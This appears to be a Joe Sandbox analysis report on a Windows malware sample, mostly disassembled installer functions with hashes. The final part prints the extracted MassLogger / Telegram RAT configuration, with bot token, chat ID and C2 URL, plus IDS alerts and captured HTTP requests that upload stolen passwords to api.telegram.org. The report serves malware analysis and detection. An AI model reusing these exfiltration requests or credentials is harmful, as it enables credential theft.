Associated: 00000005.00000002.2717499670.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 204806375d4f16312a37781d02af86e184349cdc68ded53cac09897120414cdc
Instruction ID: ef61c68cd4a6cc3a6f3726d4b558d534156d03c1c75d5f5b51cfe904c604fa23
Opcode Fuzzy Hash: 204806375d4f16312a37781d02af86e184349cdc68ded53cac09897120414cdc
Instruction Fuzzy Hash: A621B471948209AEEF049FA5DA4AABD7BB4EB44304F14443EF605B61D0D7B845409B18

Function 00402D44 Relevance: 6.1, APIs: 4, Instructions: 63registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 00402DA9
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DB2
RegCloseKey.ADVAPI32(?,?,?), ref: 00402DD3

Memory Dump Source

Source File: 00000005.00000002.2717439681.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717415511.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717457516.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717475134.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717499670.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: Close$Enum
String ID:
API String ID: 464197530-0
Opcode ID: 1fd681a58c600dee98d7f7e5161f1cc79c94fe5fc9469311f060f0f5731105c3
Instruction ID: 3410daaf41eb2a8de7896e1fb7aa518538b3e031ab7f3cb45a1fbd23233d04dd
Opcode Fuzzy Hash: 1fd681a58c600dee98d7f7e5161f1cc79c94fe5fc9469311f060f0f5731105c3
Instruction Fuzzy Hash: CE116A32500108FBDF12AB90CE09FEE7B7DAF44350F100076B905B61E0E7B59E21AB58

Function 0040591F Relevance: 6.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(?,?,00000000), ref: 00405962
GetLastError.KERNEL32 ref: 00405976
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 0040598B
GetLastError.KERNEL32 ref: 00405995

Memory Dump Source

Source File: 00000005.00000002.2717439681.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717415511.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717457516.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717475134.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717499670.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID:
API String ID: 3449924974-0
Opcode ID: c15d26eb0fd7dc0754592b558b3576eabd9f17effa54cf70e09af9e442894ad1
Instruction ID: ca5323325ecea66cc3de0aafa4d6cbc44a00468c8660a14113972894dcb98988
Opcode Fuzzy Hash: c15d26eb0fd7dc0754592b558b3576eabd9f17effa54cf70e09af9e442894ad1
Instruction Fuzzy Hash: 970108B1C10219DADF009FA5C944BEFBFB4EB14314F00403AE544B6290DB789608CFA9

Function 00405DC5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,?,00403576,00429240,NSIS Error,?,00000006,?,0000000A), ref: 004063F5

Part of subcall function 00405D68: CharNextW.USER32(?,?,00425F30,?,00405DDC,00425F30,00425F30,00437800,?,75572EE0,00405B1A,?,00437800,75572EE0,00000000), ref: 00405D76
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D7B
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D93

lstrlenW.KERNEL32(00425F30,00000000,00425F30,00425F30,00437800,?,75572EE0,00405B1A,?,00437800,75572EE0,00000000), ref: 00405E1E
GetFileAttributesW.KERNEL32(00425F30,00425F30,00425F30,00425F30,00425F30,00425F30,00000000,00425F30,00425F30,00437800,?,75572EE0,00405B1A,?,00437800,75572EE0), ref: 00405E2E

Strings

0_B, xrefs: 00405DCB

Memory Dump Source

Source File: 00000005.00000002.2717439681.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717415511.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717457516.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717475134.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717499670.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: 0_B
API String ID: 3248276644-2128305573
Opcode ID: df6e64e4f6769b316d4c1c7beb25aaa03b2c49ca2ab4503c480f7fe4b4eab687
Instruction ID: e2ef3bf648e1011fa726b67e088789f036b8871ba300d86fb9c867912b04298b
Opcode Fuzzy Hash: df6e64e4f6769b316d4c1c7beb25aaa03b2c49ca2ab4503c480f7fe4b4eab687
Instruction Fuzzy Hash: B4F0F439109E5116D62233365D09BEF0548CF82354B5A853BFC91B22D2DB3C8A539DFE

Function 004053C4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 004053F3
CallWindowProcW.USER32(?,?,?,?), ref: 00405444

Part of subcall function 004043AB: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 004043BD

Strings

, xrefs: 004053D4

Memory Dump Source

Source File: 00000005.00000002.2717439681.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717415511.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717457516.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717475134.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717499670.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 36caebe1fe8aa1eff7ff321662443c514d6827d4f2801b7b393fcb4226acda68
Instruction ID: 343f6187318c33bb175646012d6cb398530476c6c15fe8dd96994d534b9a6b17
Opcode Fuzzy Hash: 36caebe1fe8aa1eff7ff321662443c514d6827d4f2801b7b393fcb4226acda68
Instruction Fuzzy Hash: CC0171B1200609ABDF305F11DD84B9B3666EBD4356F508037FA00761E1C77A8DD29A6E

Function 00405F0D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00405F2B
GetTempFileNameW.KERNEL32(?,?,00000000,?,?,?,00435000,004034A3,00437000,00437800,00437800,00437800,00437800,00437800,75573420,004036EF), ref: 00405F46

Strings

nsa, xrefs: 00405F1A

Memory Dump Source

Source File: 00000005.00000002.2717439681.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717415511.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717457516.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717475134.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717499670.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 0c62091ad8b50aef506abc269e58e4a43f33256201187c1c154fac6de66d8f01
Instruction ID: 076564571966e4dc9ef4834731be4d502634ae0aeddccfca5b4533d1bab5a213
Opcode Fuzzy Hash: 0c62091ad8b50aef506abc269e58e4a43f33256201187c1c154fac6de66d8f01
Instruction Fuzzy Hash: 14F09076601204FFEB009F59ED05E9BB7A8EB95750F10803AEE00F7250E6B49A548B68

Function 004059D1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00426730,Error launching installer), ref: 004059FA
CloseHandle.KERNEL32(?), ref: 00405A07

Strings

Error launching installer, xrefs: 004059E4

Memory Dump Source

Source File: 00000005.00000002.2717439681.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717415511.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717457516.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717475134.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717499670.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 6d78ed6c6b667bfe634139d4e18f22187190c1a967eebebbcf2d401a0833c7e8
Instruction ID: 166b032e71181ba573d10d742cd21a74b10ba840f41c43b266edefbe5b435367
Opcode Fuzzy Hash: 6d78ed6c6b667bfe634139d4e18f22187190c1a967eebebbcf2d401a0833c7e8
Instruction Fuzzy Hash: E5E04FB0A102097FEB009B64ED49F7B76ACFB04208F404531BD00F2150D774A8208A7C

Function 00406F27 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2717439681.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717415511.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717457516.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717475134.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717499670.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db40346bc9fd20083a39152eff8b5ac78f5cdc0ebc59631a5c9ad52422038ace
Instruction ID: 2bd06e12bed6e0bcd81d630d0cd78bd49004ac77cb8b5ebb757de7108a839e92
Opcode Fuzzy Hash: db40346bc9fd20083a39152eff8b5ac78f5cdc0ebc59631a5c9ad52422038ace
Instruction Fuzzy Hash: 1DA14471E04228CBDF28CFA8C8446ADBBB1FF44305F14806ED856BB281D7786A86DF45

Function 00407128 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2717439681.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717415511.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717457516.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717475134.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717499670.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9d32937a43efcd2dea5d1fc698e3fcc0023127280f8acdc5c544d8c7d1790a46
Instruction ID: f1da02a2f8b93330a3d469e31e6e9edf047fa596270f1f1d86c95cc791e20b04
Opcode Fuzzy Hash: 9d32937a43efcd2dea5d1fc698e3fcc0023127280f8acdc5c544d8c7d1790a46
Instruction Fuzzy Hash: AA910271E04228CBEF28CF98C8447ADBBB1FB45305F14816AD856BB291C778A986DF45

Function 00406E3E Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2717439681.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717415511.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717457516.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717475134.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717499670.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d6f810e310069c411d265ffcddf6abea8090fb20e8d2db1667143610fe5bd5
Instruction ID: fb1d02f26201205f5bfcbd3029eb7cfad7cca69a3f8c46de7b35964bdd0c3f7d
Opcode Fuzzy Hash: 67d6f810e310069c411d265ffcddf6abea8090fb20e8d2db1667143610fe5bd5
Instruction Fuzzy Hash: 18814571E04228DFDF24CFA8C844BADBBB1FB45305F24816AD856BB291C7389986DF45

Function 00406943 Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2717439681.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717415511.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717457516.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717475134.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717499670.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5328a0701a0a32b67c374057837e60552721ea1a6811a44abe83e42546375677
Instruction ID: 55fc176551b00f8465723d30588461dcf2fc1d3195b414c524ee7a2fcbdbe87b
Opcode Fuzzy Hash: 5328a0701a0a32b67c374057837e60552721ea1a6811a44abe83e42546375677
Instruction Fuzzy Hash: 39815971E04228DBEF24CFA8C844BADBBB1FB45305F14816AD856BB2C1C7786986DF45

Function 00406D91 Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2717439681.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717415511.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717457516.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717475134.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717499670.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a445a859154d96951751bba7131c1a69e0b73c0895ac35a4e96b2d7ee743491b
Instruction ID: 7645ab34ef40ba223d211dbe726f8302725d3f31b3e808d93cc70016d3e0d248
Opcode Fuzzy Hash: a445a859154d96951751bba7131c1a69e0b73c0895ac35a4e96b2d7ee743491b
Instruction Fuzzy Hash: 10711471E04228DBDF24CF98C8447ADBBB1FF49305F15806AD856BB281C7389A86DF45

Function 00406EAF Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2717439681.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717415511.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717457516.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717475134.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717499670.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd7d90a79d0f10410712768d5bba8e0713d9e8f593557aa9bf16db43d4616d0f
Instruction ID: a4e19b7408f2815589132e7e2b866ae2b9c8caa40868d81b8a4623295251dea3
Opcode Fuzzy Hash: cd7d90a79d0f10410712768d5bba8e0713d9e8f593557aa9bf16db43d4616d0f
Instruction Fuzzy Hash: 0D712571E04218DBEF28CF98C844BADBBB1FF45305F15806AD856BB281C7389986DF45

Function 00406DFB Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2717439681.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717415511.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717457516.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717475134.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717499670.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_czHx16QwGQ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08b8d2b65a0c1c30b5e83c7ea62cdb0658c0fab8542c410d93f606ef21acc8e7
Instruction ID: 979076adb26e5f1e3e7a9458f232081f51f9a0722543042d1d726f4d31452a21
Opcode Fuzzy Hash: 08b8d2b65a0c1c30b5e83c7ea62cdb0658c0fab8542c410d93f606ef21acc8e7
Instruction Fuzzy Hash: 50714871E04228DBEF28CF98C8447ADBBB1FF45305F15806AD856BB281C7386A46DF45

Function 00405E43 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E53
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405E6B
CharNextA.USER32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E7C
lstrlenA.KERNEL32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E85

Memory Dump Source

Source File: 00000005.00000002.2717439681.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.2717415511.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717457516.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717475134.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.2717499670.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_czHx16QwGQ.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 7e71a0af936693ae9f9191b5a8beeb80aa55241a483ed2e2c495a4152d25f7df
Instruction ID: 3eb9f18af2c16f81f4dc7877ab3147293eaebe45f2d41041cd024b5e05e36bdf
Opcode Fuzzy Hash: 7e71a0af936693ae9f9191b5a8beeb80aa55241a483ed2e2c495a4152d25f7df
Instruction Fuzzy Hash: 4AF0C831100514AFC7029B94DD4099FBBA8DF06354B25407AE844FB211D634DF01AB98

Source: 00000005.00000002.2745533594.00000000362FB000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: MassLogger {"EXfil Mode": "Telegram", "Telegram Token": "7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc", "Telegram Chatid": "7382809095"}
Source: czHx16QwGQ.exe.5296.5.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendMessage"}

Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_3836D1EC CryptUnprotectData,		5_2_3836D1EC
Source: C:\Users\user\Desktop\czHx16QwGQ.exe	Code function: 5_2_3836D9D9 CryptUnprotectData,		5_2_3836D9D9

Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49821 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49821 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49848 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49848 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49882 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49882 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49837 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49837 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49858 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49858 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49894 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49995 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49894 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49959 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49995 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49945 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49945 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49920 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49959 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:50018 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:50018 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49920 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49971 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49983 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49971 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49983 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:50010 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49933 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:50010 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49933 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49909 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49909 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:50007 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:50007 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:50014 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:50014 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:50016 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:50016 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:49870 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:49870 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.8:50012 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.8:50012 -> 149.154.167.220:443

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd319daa71bf0dHost: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31b560e03860Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31ca3ca070d5Host: api.telegram.orgContent-Length: 1090
Source: global traffic	HTTP traffic detected: POST /bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd31e06c304c60Host: api.telegram.orgContent-Length: 1090
